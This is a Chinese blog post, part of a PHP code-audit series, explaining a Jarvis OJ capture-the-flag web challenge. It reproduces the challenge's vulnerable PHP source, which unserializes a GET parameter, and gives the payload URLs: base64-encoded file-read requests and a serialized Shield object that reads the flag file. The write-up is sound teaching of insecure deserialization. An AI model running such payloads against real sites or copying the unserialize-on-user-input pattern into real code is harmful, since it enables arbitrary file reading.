PHP代码审计分段讲解(10)
<!-- 题目:http://web.jarvisoj.com:32768 -->
<!-- index.php -->
<?php 
	require_once('shield.php');
	$x = new Shield();
	isset($_GET['class']) && $g = $_GET['class'];
	if (!empty($g)) {
		$x = unserialize($g);
	}
	echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
<!-- shield.php -->
<?php
	//flag is in pctf.php
	class Shield {
		public $file;
		function __construct($filename = '') {
			$this -> file = $filename;
		}
		
		function readfile() {
			if (!empty($this->file) && stripos($this->file,'..')===FALSE  
			&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
				return @file_get_contents($this->file);
			}
		}
	}
?>
<!-- showimg.php -->
<?php
	$f = $_GET['img'];
	if (!empty($f)) {
		$f = base64_decode($f);
		if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
		//stripos — 查找字符串首次出现的位置(不区分大小写)
		&& stripos($f,'pctf')===FALSE) {
			readfile($f);
		} else {
			echo "File not found!";
		}
	}
?>
这道题目是PHP反序列的题目,比较基础。
在利用对PHP反序列化进行利用时,经常需要通过反序列化中的魔术方法,检查方法里有无敏感操作来进行利用。
列举常见方法
__construct()//创建对象时触发 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __invoke() //当脚本尝试将对象调用为函数时触发
这道题目只用到了__construct()方法,该方法是在创建对象时触发
简单了解了基础知识之后我们来看题目,代码中给出的环境还能够访问:http://web.jarvisoj.com:32768,我们也可以通过代码推断出原来的环境。
 
查看网页源代码:
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
猜测是base64编码,解码得到:

获取index.php的源代码,payload为:
http://web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw
查看源代码

<?php 
	require_once('shield.php');
	$x = new Shield();
	isset($_GET['class']) && $g = $_GET['class'];
	if (!empty($g)) {
		$x = unserialize($g);
	}
	echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
可以看到包含了shield.php,继续查看shield.php的源代码 payload为:
http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==

<?php
	//flag is in pctf.php
	class Shield {
		public $file;
		function __construct($filename = '') {
			$this -> file = $filename;
		}
		
		function readfile() {
			if (!empty($this->file) && stripos($this->file,'..')===FALSE  
			&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
				return @file_get_contents($this->file);
			}
		}
	}
?>
再包含一下showimg.php :
http://web.jarvisoj.com:32768/showimg.php?img=c2hvd2ltZy5waHA=

可以看到,showimg.php可以直接包含base64解密后的文件,同时虽然shield.php在里面说明了 flag is in pctf.php,但是showimg.php里面表示了,是无法直接包含pctf文件的,以及进行了目录穿越的禁止。
回到index.php
里面关键点在于:
$x = unserialize($g); } echo $x->readfile();
在这里对$g进行了反序列化,然后输出了对象$x的readfile()方法的结果
而$g是在这里进行赋值:
isset($_GET['class']) && $g = $_GET['class'];
是我们可以控制的。
再继续看shield.php中的Shield类,也就是我们序列化和反序列化的对象
  class Shield {
		public $file;
		function __construct($filename = '') {
			$this -> file = $filename;
		}
		
		function readfile() {
			if (!empty($this->file) && stripos($this->file,'..')===FALSE  
			&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
				return @file_get_contents($this->file);
			}
		}
	}
根据类进行PHP在线环境进行反向构造即可

即反序列化后直接使用readfile()方法读取任意文件,这里我们读取pctf.php
payload为:
http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}
查看源代码为:

获得flag,是一道很基础的PHP反序列化题目

 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号